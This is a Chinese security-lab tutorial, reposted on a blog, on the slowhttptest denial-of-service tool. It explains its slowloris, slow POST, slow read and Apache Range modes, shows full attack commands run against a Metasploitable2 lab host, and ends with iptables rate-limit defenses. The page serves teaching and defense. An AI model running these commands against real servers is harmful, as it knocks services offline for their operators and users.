Slowhttptest—-DoS攻击工具简介

释放双眼,带上耳机,听听看~!

写在前面:


本文仅用作科普交流学习使用,请勿用于非法用途,否则所产生的一切后果与作者无关。

简介

    slowhttptest是一个基于http协议低带宽应用层慢速DoS攻击工具(相对于CC等快速攻击而言的慢速)。不同于占用目标服务器cpu和内存资源的DoS攻击,slowhttptest通过消耗目标服务器大量的tcp并发连接数,产生DoS攻击,适用于低带宽攻击者对高带宽目标服务器实施DoS攻击。

四种攻击模式

    1)slowloris:完整的http请求结尾是\r\n\r\n,攻击仅发送一个\r\n。利用HTTP协议默认服务器在未接收客户端发起的完整请求时,为客户端保留连接资源池的原理。大量的此类并发请求将会导致DoS。

    2)slow http post:通过http头声明一个较大的content-length,但body部分缓慢发送。原理与slowloris类似。

    3)slow read attack:正常发送http请求,但是通过调小tcp滑动窗口的大小,降低目标服务器返回数据的速度,缓慢读取响应数据,使连接无法短时间内释放。与上述两种方法相同,目的都是耗尽目标服务器的并发连接池。

    4)Apache Range Header attack:通过设置http请求头range的值,服务端向客户端传输大文件且体积超过http body大小限制时将进行分段。Apache处理这些分段需要比不分段时做更多的运算。与上述三种方法不同,Apache Range Header attack的目的是耗尽服务器cpu、内存资源。(详见CVE-2011-3192)

安装方法

git clone https://github.com/shekyan/slowhttptest.gitcd slowhttptest/./configuremake && make install

    安装完成~~

安装报错解决方法

1)问题:运行./configure可能会报错

解决:

#安装libssl-dev即可解决apt-get install libssl-dev

2)问题:运行make&&make install报错

为缺乏aclocal  m4等包依赖包所致

解决:

#安装automakeapt install automake#安装autoconfwget http://ftp.gnu.org/gnu/autoconf/autoconf-2.69.tar.gztar -zxvf autoconf-2.69.tar.gzcd autoconf-2.69./configuremake && make install#使配置生效cd ../slowhttptest#autoreconf -vfi必须要在slowhttptest文件夹里运行autoreconf -vfi

选项说明

括号为默认值

1)测试模式:

-H slowloris模式 (默认)-B  slow http post模式-R  Apache Range Header attack模式-X  slow read attack模式

   2)报告选项:

-g 输出保存统计数据并以slow_xxx.csv/html文件命名(xxx表示时间戳) (off)-o file_prefix 自定义输出保存统计数据的文件名(需要-g参数)-v level 输出日志详细度等级0-4: Fatal, Info, Error, Warning, Debug

3)常规选项

-c connections 目标连接数,最大不超过65539 (50)-i seconds 在slowrois和Slow POST模式中,每个连接发送数据的时间间隔 (10s)-l seconds    目标测试连接时长 (240s)-r rate    每秒连接数 (50)-s bytes    slow post攻击模式下,Content-Length头的大小(默认4096字节)-t verb    自定义请求动作, 默认slowloris使用GET,slow post使用POST-u URL    指定目标url (http://localhost/)-x bytes    在slowrois和Slow POST模式中,每次发送最大数据长度(32)-f content-type    Content-type头的值 (application/x-www-form-urlencoded)

4)探测/代理选项:

 -d host:port    所有流量指定HTTP代理 (off) -e host:port    探测流量指定HTTP代理 (off) -p seconds     设置探测连接http响应的超时时间,超过则认为服务器无法访问(5) -d host:port    所有流量指定HTTP代理 (off)    -e host:port    探测流量指定HTTP代理 (off)    -p seconds     设置探测连接http响应的超时时间,超过则认为服务器无法访问(5)

5)Range attack特殊选项:

-a start ranges-specifier的起始值 (5)-b bytes    ranges-specifier的最大值 (2000)

 6)Slow read特殊选项:

-k num    如果服务器支持HTTP pipe-lining,则在同一连接中重复请求次数。(1)-n seconds    从接收缓冲区读取操作的时间间隔 (1)-w bytes    设置tcp window窗口大小的起始值 (1)-y bytes    设置tcp window窗口大小的结束值 (512)-z bytes    每次read()调用从接收缓冲区慢速读取的字节 (5)

使用例子


攻击机:kali 2019.2      ip:192.168.0.13

靶机:metasploitable2   ip:192.168.0.2

测试机:win10          ip:192.168.0.9

1)slowloris模式

slowhttptest -c 1000 -H -g -o my_header_stats -i 10 -r 200 -t GET -u http://192.168.0.2 -x 24 -p 3

如下图所致,service available:NO,表示目标网址服务已不可用。

测试机打开的网页一直在加载当中

在目标服务器可以看到有大量针对80端口的tcp连接处于ESTABLISHED状态,占用服务器大量tcp连接资源

打开生成的html,可以看到统计数据,大概5秒之后靶机web服务即不可用。

(打开文件需要科学上网)

2)slow http post模式

slowhttptest -c 1000 -B -g -o my_body_stats -i 110 -r 200 -s 8192 -t FAKEVERB -u http://192.168.0.2 -x 10 -p 3

如下图所致,service available:NO,表示目标网址服务已不可用。

测试机打开的网页一直在加载当中

在目标服务器可以看到有大量针对80端口的tcp连接处于ESTABLISHED和SYN_RECV状态,占用服务器大量tcp连接资源

打开生成的html,可以看到统计数据,大概5秒之后靶机web服务即不可用。

(打开文件需要科学上网)

3)slow read attack模式

slowhttptest -c 8000 -X -r 200 -w 512 -y 1024 -n 5 -z 32 -k 3 -u http://192.168.0.2 -p 3 -g -o slow_read_stats

如下图所致,service available:NO,表示目标网址服务已不可用。

测试机打开的网页一直在加载当中

在目标服务器可以看到有大量针对80端口的tcp连接处于ESTABLISHED和SYN_RECV状态,占用服务器大量tcp连接资源

打开生成的html,可以看到统计数据,大概5秒之后靶机web服务即不可用。

(打开文件需要科学上网)

4)Apache Range Header attack模式

slowhttptest -R -u http://192.168.0.2 -t HEAD -c 65539 -a 10 -b 3000 -r 500 -g -o range_header_stats

如下图所致,service available:YES,表示目标网址服务可用,测试机可以正常访问网站。

表明此类DoS攻击对目标服务器不可用

在目标服务器可以看到有大量针对80端口的tcp连接处于TIME_WAIT状态,即表示tcp连接已关闭。说明该模式的DoS攻击不成功

打开生成的html,可以看到统计数据,靶机web服务在攻击过程中一直可用。

(打开文件需要科学上网)

防护手段

实际的场景中有太多的防护手段了,这里只简单的介绍使用iptables进行防御

1)限制单个IP与80端口的最大tcp连接数为10,超过则丢弃数据包。

iptables -A INPUT -p tcp --dport 80 -m connlimit --connlimit-above 10 -j DROP

2)限制单个IP与80端口,60秒内只能有10个新连接,超过则丢弃数据包。

#60秒10个新连接,命中11次及以上则记录日志。(可以不添加此条规则)iptables -A INPUT -p tcp --dport 80 --syn -m recent --name antidos --rcheck --seconds 60 --hitcount 11 -j LOG --log-prefix 'AntiDoS' --log-ip-options #60秒10个新连接,命中11次及以上则丢弃数据包。 (必须)iptables -A INPUT -p tcp --dport 80 --syn -m recent --name antidos --rcheck --seconds 60 --hitcount 11 -j DROP #10个及以下新连接,允许建立。(必须)iptables -A INPUT -p tcp --dport 80 --syn -m recent --name antidos --set -j ACCEPT

经过测试以上两种方法均可成功防御slowloris、slow http post、slow read attack攻击。

攻击机与靶机的tcp连接最多只有10

攻击结果,测试机均可以成功打开靶机的网页。

(注:service available:NO 是表示对于攻击机而言,靶机的服务不可用)


学海浩茫,

予以风动,
必降弥天之润!


   弥  天

安全实验室


本文源自微信公众号:弥天安全实验室

人已赞赏
安全工具

Windows常用工具

2019-10-18 16:53:02

安全工具

WinRAR目录穿越漏洞

2019-10-18 16:53:08

0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
购物车
优惠劵
今日签到
有新私信 私信列表
搜索